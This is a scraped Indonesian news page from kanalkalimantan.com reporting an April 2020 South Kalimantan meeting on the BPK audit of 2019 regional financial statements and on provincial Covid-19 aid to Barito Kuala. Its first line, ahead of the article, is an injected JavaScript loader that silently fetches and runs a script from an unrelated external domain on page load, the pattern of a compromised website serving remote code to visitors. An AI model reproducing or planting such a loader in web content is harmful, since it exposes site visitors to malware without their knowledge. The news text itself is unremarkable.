(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Didampingi Inspektur Kabupaten Batola Ismet Zulfikar, Wakil Bupati Batola Rahmadian Noor menghadiri rapat koordinasi (Rakor) ekanisme pelaksanaan pemeriksaan Laporan Keuangan Pemerintah Daerah (LKPD) tahun 2019 dan penanganan Covid-19 yang diselenggarakan Pemerintah Provinsi Kalimantan Selatan (Kalsel), Senin (13/4/2020).
Rakor yang berlangsung di gedung KH Idham Chalid perkantoran Setda Provinsi Kalsel Banjarbaru ini dihadiri Wakil Gubernur Kalsel Rudy Resnawan, Bupati/Wali Kota se-Kalsel langsung dihadiri Kepala BPK RI Perwakilan Kalsel Tornanda Syaifullah.
Di hadapan Wakil Gubernur Rudy Resnawan dan Sekdaprov Kalsel Abdul Haris Makkie, Tornanda Syaifullah menyampaikan proses pemeriksaan LKPD tahun 2019 tetap dilaksanakan meski dalam situasi mewabahnya Covid-19.
“Kita akan tetap menjalankan proses pemeriksaan dengan tetap mengikuti imbauan pemerintah dengan mengurangi interaksi fisik,” ujar Tornanda.
Tornanda mengatakan, secara teknis dalam melakukan pemeriksan petugas lebih banyak berkoordinasi melalui teknologi video conference. Kalau pun harus melakukan kunjungan maka jumlah petugas akan dibatasi.
“Karena keterbatasan interaksi yang bisa dilakukan, maka diharapkan daerah dapat menyiapkan dokumen yang akan diperiksa. Sehingga mengurangi intensitas pertemuan fisik,” pintanya.
Wakil Bupati Batola Rahmadian Noor menyatakan pihaknya akan memfasilitasi segala yang diperlukan BPK.
“Pada prinsipnya kita akan selalu siap terhadap segala yang diperlukan BPK dalam hal pelaksanaan pemeriksaan nantinya,” ucap Wabup yang akrap disapa pak Rahmadi ini.
Sementara itu terkait penanganan Covid-19, Wakil Gubernur Kalsel Rudy Resnawan terkait pembagian bantuan dari Pemprov Kalsel kepada masing-masing kabupaten/kota, dimana jumlah bantuan akan disesuaikan kebutuhan berdasarkan laporan Gugus Tugas Covid-19 masing-masing.
Berkaitan dengan bantuan ini, menurut Rahmadi, Pemkab. Batola untuk sementara akan mendapatkan bantuan sebesar Rp250 juta. Digunakan untuk pembelian masker tim medis.
“Untuk jaring pengaman sosial nanti Tim Gugus Tugas yang akan berkoordinasi dengan Tim Gugus Tugas Provinsi, mendata jumlah kepala keluarga dan jumlah bantuannya,” papar Rahmadi.(kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.